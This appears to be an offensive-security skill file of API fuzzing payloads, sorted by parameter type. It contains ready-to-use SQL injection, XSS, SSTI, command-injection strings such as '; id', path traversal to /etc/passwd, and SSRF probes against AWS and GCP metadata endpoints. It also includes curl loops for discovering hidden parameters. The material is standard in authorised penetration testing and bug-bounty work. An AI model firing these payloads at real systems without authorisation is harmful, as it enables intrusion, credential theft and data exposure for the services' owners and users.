api-fuzz

name	api-fuzz
description	API semantic fuzzing payload templates. Provides intelligent payload selection based on parameter semantic type rather than blind fuzzing. Covers IDOR, SQLi, XSS, SSRF, SSTI, command injection, and business logic payloads.
metadata	{"tags":"api,fuzz,payloads,idor,sqli,xss,ssrf,ssti","category":"offensive-security"}

API Fuzz Payloads — By Parameter Semantic Type

ID/Number Type Parameters

id=1,2,3,100,999999
id=null  id=0  id=-1  id[]=1  id[]=1&id[]=2
id[$gt]=0  id[$ne]=1  id[$regex]=.*

URL/Path/File Type Parameters

# SSRF
url=http://127.0.0.1
url=http://[::1]
url=http://169.254.169.254/latest/meta-data/   (AWS)
url=http://metadata.google.internal/            (GCP)
url=file:///etc/passwd
url=gopher://127.0.0.1:25/
url=dict://127.0.0.1:6379/

# Path traversal
file=../../../etc/passwd
file=....//....//....//etc/passwd
file=/etc/passwd%00.jpg
file=php://filter/convert.base64-encode/resource=index.php

Search/Query Type Parameters

# SQLi
q=1' OR '1'='1
q=1' UNION SELECT 1,2,3--
q=1' AND SLEEP(5)--
q=1'; WAITFOR DELAY '0:0:5'--

# XSS
q=<script>alert(1)</script>
q=<img src=x onerror=alert(1)>
q=<svg onload=alert(1)>
q=javascript:alert(1)

Template/Content Type Parameters

# SSTI
template={{7*7}}
template={{config}}
template=${{7*7}}
template=<%= 7*7 %>

Command Type Parameters

cmd=; id
cmd=| id
cmd=`id`
cmd=$(id)
cmd=|| id
cmd=& id
cmd=\n id

Amount/Price/Quantity Type Parameters

# Business logic
amount=0  amount=-1  amount=0.01
quantity=0  quantity=-1  quantity=999999
price=0  price=0.00

Parameter Discovery Methods

# Method 1: Append params, watch response size
for param in id uid page limit search q role status; do
    len=$(curl -s "$BASE?$param=1" | wc -c)
    echo "$param → $len bytes"
done

# Method 2: POST empty JSON, read error
curl -s -X POST "$BASE" -H "Content-Type: application/json" -d '{}'
# "missing required field: username" → param name leaked

# Method 3: Content-Type variants
curl -X POST "$BASE" -H "Content-Type: application/json" -d '{"id":1}'
curl -X POST "$BASE" -H "Content-Type: application/xml" -d '<id>1</id>'
curl -X POST "$BASE" -H "Content-Type: application/x-www-form-urlencoded" -d 'id=1'